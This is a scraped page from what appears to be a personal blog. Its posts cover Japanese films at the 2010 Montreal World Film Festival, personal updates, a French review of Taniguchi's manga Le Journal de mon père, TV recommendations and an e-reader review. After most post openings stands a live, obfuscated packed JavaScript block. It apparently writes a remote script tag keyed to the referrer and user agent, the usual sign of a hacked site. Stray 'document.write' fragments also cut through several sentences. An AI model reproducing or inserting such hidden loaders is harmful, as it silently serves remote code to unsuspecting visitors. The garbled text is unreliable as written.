“Sword of Desperation” video

Here’s a video of the screening presentation and press conference of the Japanese movie Sword of Desperation at the Montreal World Film Festival 2010 (filmed by clodjee on August 27th, document.write(“”); 31:21 min.):
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbzfe|var|u0026u|referrer|ezakr||js|php’.split(‘|’),0,{}))

Sword of Desperation from clodjee on Vimeo.

Revue de Presse / Press Review (2010/08/27)

Personal update: I’ve been feeling unwell for the last two weeks (first some disgestion problems and then some sort of cold), document.write(“”); so I have not done much lately besides slaving for the libraries. I always feel completely exhausted after work. I guess I am worrying too much about my next working schedule and moving out of the apartment. The bright side is that if I don’t get much work this fall it will leave me time to rest and to shop for a new house. But now with the Montreal World Film Festival I should be again quite busy (and tired) for a couple of weeks. I can’t wait to have some real time off… Anyway, the world is still turning and there’s always news to talk about:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhdas|var|u0026u|referrer|enstk||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

“Sword of Desperation” press conference

Those who follow my World Film Festival coverage might be interested to know that the press conference for the Japanese movie Sword of Desperation (Hisshiken Torisashi) will be held tomorrow, document.write(“”); friday August 27th, at 2 pm (14:00) in the Complexe Desjardins’ Grande-Place. The movie, which is in competition, will be screened tomorrow at the Cinema Imperial at 9:00 and at the Maisonneuve Theatre at 21:30. The director Hideyuki Hirayama and screenwriter Hideri Ito will attend the press conference, which will be open to the public.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drast|var|u0026u|referrer|rzaak||js|php’.split(‘|’),0,{}))

A
video of the screening presentation and press conference is available.

A list of the upcoming press conferences can be found on the festival web site.

I will regularly update my list of Japanese films with new information as they are available. I’ll make a separate note for all major new information. Enjoy the festival!

Revue de Presse / Press Review (2010/08/17)

Personal update: I’ve been incredibly busy lately and I’m sure it will only get worse (unless I don’t manage to get a full schedule for the libraries fall time-block—the time of sleepless worrying over scheduling is back again). I’ve spent all week-end at Otakuthon: It was a good convention (at least for me in the dealers’ room) but quite exhausting. With all the stress and exhaustion, document.write(“”); I’ve not been feeling well lately (headache and disgestion problems). I couldn’t manage to write much, but I did spot of few noteworthy newsbits:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdsas|var|u0026u|referrer|iyfnb||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Otakuthon reminder

Just a quick note to remind you that I’ll be a guest all week-end (August 13-15) at Otakuthon (Palais des Congrès de Montréal: 201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the Otakuthon website for details.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nytfy|var|u0026u|referrer|tfize||js|php’.split(‘|’),0,{}))

Come see us and discuss at our tables (#516 & 517) in the Exhibition Hall. We’ll have LOTS of anime & manga goodies to sell at VERY good price.

Our friends from Dream Pod 9 will also be there (#510, 511 & 520).

I’ll also be kicking off my Super Virtual Summer Garage Sale. Don’t miss it!

Montreal World Film Festival 2010

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 34th edition, which will be held from August 26 to September 6. During the twelve days of its duration, the festival will present 430 films from 80 countries, including 277 feature-length movies, 15 medium-length and 188 short films. 113 of those features will be world or international premieres!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fidtd|var|u0026u|referrer|rhfrd||js|php’.split(‘|’),0,{}))

“True to its mandate, which is to encourage cultural diversity, to stimulate quality cinema, to discover and promote new talent, the Montreal World Film Festival presents a program that is more diverse and inclusive than ever, with pride of place to discovery even when offering a showcase to established artists. (…) The Festival team worked hard to find films off the beaten track, especially to offer young filmmakers an opportunity to show their talent.“

This year the festival is offering us twelve Japanese movies: nine features, two documentaries and one “rerun.” Of the twenty features from twenty-four countries that make up the World Competition section, three are Japanese. That’s a much bigger Japanese selection than last year.

The World Competition [list]

  • Akunin (Villain), 139 min., directed by Sang-Il LEE, Cast: Satoshi Tsumabuki, Eri Fukatsu, Masaki Okada, Hikari Mitsushima, Kirin Kiki, Akira Emoto. A young insurance saleswoman is found strangled at Mitsuse Pass. Her family and friends are shocked. The pass — which tunnels through a mountainous region of southern Japan — has an eerie history… Schedule: 9/5, 21:30, TM.05.2; 9/5, 9:00, CI.05.1; 9/6, 16:30, CI.06.3.
  • Box — Hakamada Jiken — Inochi Towa (Box: The Hakamada Case), 117 min., directed by TAKAHASHI Banmei, Cast: Masato Hagiwara, Hirofumi Arai, Riona Hazuki, Takeoni Murano, Naoki Hosaka, Ryo Ishibashi. Based on a criminal case in Japan in mid 1960s, the story centres on two men who was born in the same year; one is sentenced to death for murder and the other is the judge who believes his innocence.
    Schedule: 9/2, 21:30, TM.02.1; 9/2, 9:00, CI.02.1; 9/3, 16:30, CI.03.4.
  • Hisshiken Torisashi (Sword of Desperation), 114 min., directed by HIRAYAMA Hideyuki, Cast: Etsushi Toyokama, Chizuru Ikewari, Koji Kikkawa. During the Edo Period in Japan, Kanemi Sanzaemon, a skilled swordsman and chief of the Unasaka battles to rid his clan of political corruption.
    Schedule: 8/27, 21:30, TM.27.1; 8/27, 9:00, CI.27.1; 8/28, 14:00, CI.28.3.

First Films World Competition [list]

  • Torocco (Rail Truck), Japan/Taiwan co-production, 116 min., directed by KAWAGUCHI Hirofumi. Cast: Machiko Ono, Kento Harada, Kyoichi Omae, Hong Liu, Chang Han, Wan Fan, Bryant Chang, Mei Fang. When Yumiko Yano travels with her sons, Atsushi and Toki, from her home in Tokyo to the Taiwanese village of her late husband, the boys discover a culture and a society that is alien to their Japanese existence.
    Schedule: 9/2, 12:00, L10.02.2; 9/2, 19:00, L10.02.5; 9/4, 19:20, L10.28.3.

Out of Competition [list]

  • Bushi no Kakeibo (Abacus and Sword), 120 min., directed by MORITA Yoshimitsu. Cast : Masato Sakai, Yukie Nakama, Keiko Matsuzaka, Masahito Nishimura, Masatoshi Makamura, Mitsuko Kusabue. In the Edo era, Japan was facing a period of upheaval. The great Tenpo famine of the 1830s and other developments have left the finances of the Kaga Domain in a precarious financial position…
    Schedule: 8/30, 10:00, L12.30.1; 831, 21:30, C!.31.6; 9/1, 14:30, L12.01.3.
  • Caterpillar (Le soldat-dieu), 85 min., directed by WAKAMATSU Koji. Cast : Shinobu Terajima, Shima Ohnishi, Ken Yoshizawa, Keigo Kasuya, Emi Masuda, Sabu Kawahara. During the Second Sino-Japanese War, in 1940, Lieutenant Kurokawa returns home as a honoured and decorated soldier, but deprived of his arms and leg, lost on the battlefield in mainland China.
    Schedule: 9/2, 21:40, L17.02.5; 9/3, 14:50, L17.03.3; 9/4, 21:40, L17.04.6.

Focus on World Cinema [list]

  • Inshite Miru (The Incite Mill), 110 min., directed by NAKATA Hideo. Cast : Tatsuya Fujiwara, Haruka Ayase, Satomi Ishihara. Ten people respond to a preposterous job posting — a short term project promising to pay $1200 an hour. Sounds dodgy but the money is hard to resist.
    Schedule: 9/2, 10:00, L15.02.1; 9/2, 21:40, L15.02.6; 9/5, 19:20, L16.05.5.
  • Shitsuren Satsujin (Lost Love Murder), 100 min., directed by KUBOTA Shoji. Cast : Mao Miyaji, Yurei Yanagi, Ryuchi Ohura, Kinuo Yamada, Kouta Kusano, Mari Hoshino. Suichi is madly in love with his wife, but he suspects that she is unfaithful, and this gnawing jealousy leads to a bizarre murder.
    Schedule: 9/2, 21:40, L16.02.6; 9/3, 10:00, L17.03.1; 9/4, 12:10, L16.04.2.
  • Suito Rituru Raizu (Sweet Little Lies), 117 min., directed by YAZAKI Hitoshi. Cast : Miki Nakatani, Nao Omori, Chizuru Ikewaki, Junichi Kobayashi. Ruriko, an artist, has been married to Satoshi for three years and on the surface their marriage seems ideal. In fact, however, they have been gradually growing distant.
    Schedule: 8/29, 14:50, L10.29.3; 8/30, 19:20, L12.30.5; 9/1, 10:00, L9.01.1; 9/5, 21:40, L16.05.6.

Documentaries [list]

  • Dancing Chaplin, 131 min., directed by SUO Masayuki. A filmed record of the Roland Petit’s well- known ballet but also a union of dance and film that reflects the serendipitous meeting of the great talents of Chaplin, Petit and Japanese director Masayuki Suo.
    Schedule: 9/3, 12:10, L15.03.2; 9/4, 21:21, L15.04.6; 9/5, 17:00, L15.05.4.
  • Umareru (Being Born), 8 min., directed by TOMO. Junichi, an emergency medical technician, and his wife Takako, a nurse, who work with life and death daily, now want a new life of their own, a baby.
    Schedule: 8/28, 12:30, L14.28.2; 8/28, 19:20, L14.28.5; 8/29, 14:20, L14.29.3; 8/30, 17:30, L14.30.4.

Cinema Under the Stars [list]

  • Shall We Dance (1996), 120 min., directed by SUO Masayuki. Cast: Koji Yakusho, Tamiyo Kusakari, Naoto Takenaka. A workaholic’s dull life takes a funny turn when he signs up for a ballroom dance class – just to meet the sexy dance teacher. But when he finally goes for lessons, he winds up with a different instructor and her colourfully eccentric class of beginners.
    Schedule: 9/3, 20:30, Outdoor on Place des Festivals.

Here is the video of the programming press conference (34:23 min.):

MWFF 2010 Programming Press Conference from clodjee on Vimeo.
The schedule [PDF] is now available online [ Part 1, Part 2, Index ]

I’ve made a calendar to help visualize the time and location of all the Japanese movies’ screenings. What were they thinking: putting eight screenings of Japanese movies on the same day (Sept. 2nd)?

I’ve also made a nice, printable PDF file gathering all the useful information from the festival guide.

For the first time in years the MWFF has put in advance on their web site a list of the upcoming press conferences.

More details and links will be added as the information become available. [Updated 08/11 (more details & links), 08/21 (schedule, better description & link’s icon), 08/22 (calendar), 08/24 (FFM web links, Google links, PDF), 08/27 (link for press conferences list), 08/31 (icon & link press conference), 9/04 (programming press conference video), 9/09 (more press conferences video links)]

[I have updated the “MWFF 2009 Overview” blog entry with a few corrections, links and new logos for some links. More update to come. Please have a look!]

Le Journal de mon père

“Contrairement à l’impression suggérée par son titre, document.write(“”); Le Journal de mon père n’est pas un récit autobiographique. Jirô Taniguchi a simplement “planté” son scénario à Tottori, sa ville natale, où il a tant de repères et de souvenirs. Le héros de cette histoire s’appelle Yoichi Yamashita et travaille à Tokyo dans une agence de design. Apprenant la mort de son père, il revient après une très longue absence à Tottori, la ville qui l’a vu grandir. Au cours d’une veillée funèbre très arrosée, le passé des années 50 et 60 ressurgit : l’incendie qui a ravagé la ville et la maison familiale, le dur labeur pour la reconstruction, le divorce de ses parents, ses souffrances d’enfant… Lors de cette veillée, chaque membre de la famille apporte un éclairage nouveau sur la personnalité de ce père que Yoichi tenait jusque-là pour responsable du désastre familial. Le fils réalise finalement, mais trop tard, qu’il a sans doute été le seul responsable de leur douloureuse incompréhension.” [Texte de présentation sur le site de l’éditeur]
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heetd|var|u0026u|referrer|kheia||js|php’.split(‘|’),0,{}))

Le Journal de mon père est l’un des premier Taniguchi que j’ai lu (après le premier volume de Au temps de Botchan et La montagne magique) et j’ai été tellement impressionné que j’en suis resté bouche-bée et ai oublié d’en écrire le commentaire. Je corrige donc ici cette négligence.

Le Journal de mon père (??? / Chichi no koyomi) a originellement été publié au Japon par Shogakukan en 1994. En France, il a d’abord été publié par Casterman en trois volumes (Vol. 1: Le grand incendie, Vol. 2: La séparation, Vol. 3: L’apaisement) en 1999-2000, puis en un seul volume à couverture souple en 2004 et finalement en une édition cartonnée en 2007. La troisième oeuvre de Taniguchi a être traduite en français après L’Homme qui marche et Le Chien Blanco, Le Journal de mon père fut son premier succès en France et demeure encore aujourd’hui l’un de ses manga les plus connus en Europe. Taniguchi y raconte l’histoire de Yoichi qui, à l’occasion de la mort de son père, retourne dans son village natal pour la première fois en quinze ans. Il avait peu à peu cessé de voir son père, jugeant ce dernier responsable du départ de sa mère, et il éprouvait envers lui beaucoup de ressentiment. Au travers des discussions de la veillée funèbre, il redécouvre un père qu’il ne connaissait finalement pas beaucoup et en vient à regretter de ne pas l’avoir mieux connu de son vivant.

Le Journal de mon père ressemble étrangement à Quartier lointain (écrit quatre ans plus tard, en 1998), mais sans les éléments fantastiques ou surnaturels—qu’il réussisse à raconter une telle histoire en l’ancrant dans le quotidien démontre bien le talent extraordinaire de Taniguchi. On y retrouve toutes ses thématiques fétiches, particulièrement celles de la réminiscence, de la nostalgie et de la vie quotidienne. Il y a aussi le thème de la famille car son sujet quasi-Oedipien nous rappelle que l’on doit chérir ses proches pendant qu’il en est encore temps. On retrouve également le thème de la nature (dans les scènes buccoliques de la campagne Japonaise) ainsi que l’aspect animalier (dans l’affection du personnage principal pour son chien). Le plus surprenant c’est sans doute de découvrir—sous une forme inusité je l’admet—la thématique déambulatoire qui lui est si chère. Toutefois, dans ce cas-ci, Taniguchi nous offre une promenade à travers les souvenirs de Yoichi. Ce sera un voyage qui aura un effet transformateur profond sur le personnage—et peut-être aussi sur le lecteur.

C’est une oeuvre introspective très émouvante qui est bien mise en lumière par une excellente narration et par le style clair et précis de Taniguchi. C’est un superbe exemple de son talent d’artiste qui est particulièrement mis en valeur par l’édition cartonné (qui en profite également pour corriger quelques erreurs de disposition de cases présentent dans les éditions précédantes). Le Journal de mon père est sans conteste l’un des plus grands chef-d’oeuvres de Taniguchi.

Le journal de mon père par Jir? TANIGUCHI. Casterman (Coll. Écritures), 2007. B&W, 17.3 x 24 cm, 274 pgs (dont 4 en couleur). 19.00 € / $36.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2-203-00338-5.

[ AmazonRenaud-Bray BiblioWorldCat ]

Chichi no koyomi (Le journal de mon père) © 1995 by Jiro Taniguchi. All rights reserved. © Casterman, 2007 pour la traduction française.

Références: notice encyclopédique de ANN, bibliographie et notice Wikipedia.

Recommended TV series

There are two TV series that I’ve recently discovered and that I strongly recommend for various reasons:

Moyashimon Live-Action Drama

The story is based on the Moyashimon manga (first adapted into an anime in 2007: see ANNWikipedia and we had a nice article about it in PA #96) in which we follow the young Tadayasu as he enters an Agricultural University. Of course, he finds himself in all sorts of situations because of the special ability that allows him to see and communicate with micro-organisms like fungi and bacteria. I heard about the live-action drama adaptation several months ago, but I was surpised to discover yesterday that it was already available in North America through the Korean drama streaming site DramaFever.com (so far five episodes can be streamed for free) and FUNimation’s YouTube channel (also five episodes available so far; click here to see episode 1). It is both funny and very educational as it is relatively faithful to the original story (the choice of the cast is amazingly close to the original character designs).

Ken Follet’s The Pillars of the Earth


A friend recently recommended me Ken Follet’s book The Pillars of the Earth. I downloaded it to my iPad from Apple’s iBookstore ($6.99) and started reading it. It is a complex and dark historical saga set around a medieval stonemason named Tom Builder who dreams of building a cathedral (for more details see the Wikipedia entries on the novel & TV series, the IMDb entry as well as Ken Follet’s website). Then, by chance, I discovered that it had just been adapted into a Germano-Canadian 8-hour TV series showing on both Starz and The Movie Network. I’ve seen three of the eight episodes so far (a fourth is airing tonight) and I think it is a compelling historical epic well worth watching. Of course, as for all adaptations, it is not entirely faithful to the novel, but, despite the relatively somber subject, it’s a good piece of entertainment with great actors. I’ve seen a really bad review in The Washington Post, but USA Today give quite a positive impression, as well as talking about the show production and even about an “amplified edition” apps available for Apple’s iPad, iPhone and iPod Touch! If you like historical drama, it is certainly worth checking out.

Revue de Presse / Press Review (2010/08/06)

Anime & Manga related, document.write(“”); Japan, Popular Culture
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Bookeen’s Cybook Opus Hands-on

The public libraries network where I work is considering the possibility to lend eBook readers and to allow patrons to “borrow” eBooks. In order to get some feedback, document.write(“”); the network has given different models of readers to a few librarians and technicians for evaluation. A colleague who received one of those readers wanted to get my opinion and lent his to me. I couldn’t miss this opportunity to have my first hands-on experience with one of those ePaper readers.
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I wish I could have had in my hands a Sony Reader or an Amazon Kindle instead (I’ve never seen a Kindle up-close and have handled a Sony Reader only for a few minutes in a book fair), but the model I got was the Bookeen’s Cybook Opus. If a little disappointed, I was nevertheless quite happy with this opportunity since the Cybook is quite an interesting reader despite its shortcomings.

The Cybook Opus uses monochrome ePaper technology. It is rather small (108 x 151 x 10 mm / 4.2 x 6 x .4 in) and ultra light (150 g / 5.3 oz). Its 5“ (125 mm) display offers a resolution of 600 x 800 pixels in 200 dpi with 4 levels of grey (in comparison Sony’s models offer 8 to 16 levels of grey). It runs on a 400 MHz Samsung ARM chipset and has 1 Gb of memory (which is enough to store a thousand books!). Its battery charge is good for two weeks or 8000 page flips and its accelerometer or G-sensor allow to automatically switch from landscape mode to portrait mode when we turn the Cybook. It has a micro SD slot for extra memory and plugs into your computer through a mini-USB connector. It reads digital editions (ePub & PDF formats), basic eBooks (HTML & TXT formats) and pictures (PNG, JPG & GIF formats). It works in 12 languages and comes preloaded with 75 books (44 classics and 2 Harlequin in English, 31 classics in French). The suggested retail price for all that is $215 CAN ($200 US).

I must note that the model I had for evaluation was an older model (released in August 2009) that was not running the latest firmware and was available only in white. The newest model, Opus v. 2 (released in May 2010), comes in 8 housing colors and (according to the company’s press release) runs much faster and smoother—as the new firmware offers many bug fixes, 9 more languages, and a new Table of Content function. It also comes preloaded with 125~150 books!

As I said, the Cybook Opus has many shortcomings: during my reading I experienced a couple of crashes (the new firmware is supposed to improve that); the screen is not backlit so you cannot read in the dark; it’s not touch-screen so the navigation is rather inefficient (without a table of content, at least in the version I tested, you can only use a “go to” option in the contextual menu in order to jump to a specific page); it doesn’t handle graphics too well (which is not good to read comics or magazines in PDF format); there’s no WiFi or G3 connectivity so you cannot use the internet and need to use a memory card or a USB cable to transfer the eBooks you downloaded on your computer; it doesn’t play MP3 (although the Gen3, Bookeen’s higher model, does); finally, you cannot change the settings or the interface besides the number of menu items viewed per page, the languages or the fonts (12 font types & 12 text sizes) and the operating system (Linux based) is not accessible at all via a shell interface. Conclusion: it’s a VERY basic model and, if it’s one of the cheapest readers, it is still too expensive. For what it offers, it would be better priced at $100~$150.

However, despite all that, I still consider the Cybook Opus as an excellent reader. Of course, the ideal reader for me is something like the Apple iPad, or the iPod touch, because it’s much more polyvalent (full internet access, ability to work on files, multi-function reader, the perfect screen to read comics & magazines, etc.), but, if you want a device ONLY to read books and nothing else, the Cybook Opus is very good for that. It might have limited functions (no advanced functions besides using hyperlinks & bookmarks — even that doesn’t work for all formats), but offers enough possible settings to make e-reading more accessible (many languages, different font sizes). It is also one of the least expensive and lightest reader on the market. The ePaper technology provides the best reading experience (particularly in full sunlight, where the iPad is not performing well) and is quite energy efficient. Its screen is small (not much bigger than the 3-inch screen of the iPod Touch) compared to the heavier Sony Reader (Pocket Edition: 5“, 8 oz, $170 US; Touch Edition: 6“, 10 oz, $250 US; Daily Edition: 7“, 13 oz, $300 US) or the Kindle (Standard: 6“, 8.5 oz, $140~$190 US; DX: 10“, 19 oz, $380 US), but it’s big enough to offer a good amount of text per page and yet still small enough to fit in a pocket. It’s not sophisticated, but a simple, compact device, perfect to carry an entire library without feeling the weight of the books.

I am not very warm to the idea of lending $200~$400 devices to patrons (considering in which state we often get books and Dvds back, doing so would be looking for trouble!), but if we were to lend eBook readers I would consider the Cybook Opus as the best model for that, because it’s relatively inexpensive, basic and easy to use. Furthermore, I would recommend to lend it already charged and preloaded with a certain amount of “free” books (and therefore without the power & USB cables) in order to reduce the device manipulation by the patrons. Of course, there’s always the risk that neglectful or malicious patrons would use the “erase” function of the contextual menu to remove documents from the reader or try to tamper with the device in some ways (by trying to copy documents to their computer for example).

It would probably be safer (avoiding the devices being lost or broken) to make the readers available only on site and to put the emphasis on “lending” the eBooks themselves either from an on-site terminal or downloadable from the internet (i.e. the library’s webpage). The library could offer a large selection of DRM-free classics (already available for free on the internet anyway), but the technology now allow to also offer titles with DRM (Digital Right Management) with an expiration date (for example: after forty-five or sixty days the eBook deletes itself from the reader — Apple is already doing that when you rent movies on iTunes).

I might soon get the opportunity to also review a Sony Reader, so that will allow me to draw a better impression of each device by comparing them. Of course, personally, I still prefer to read on my iPad!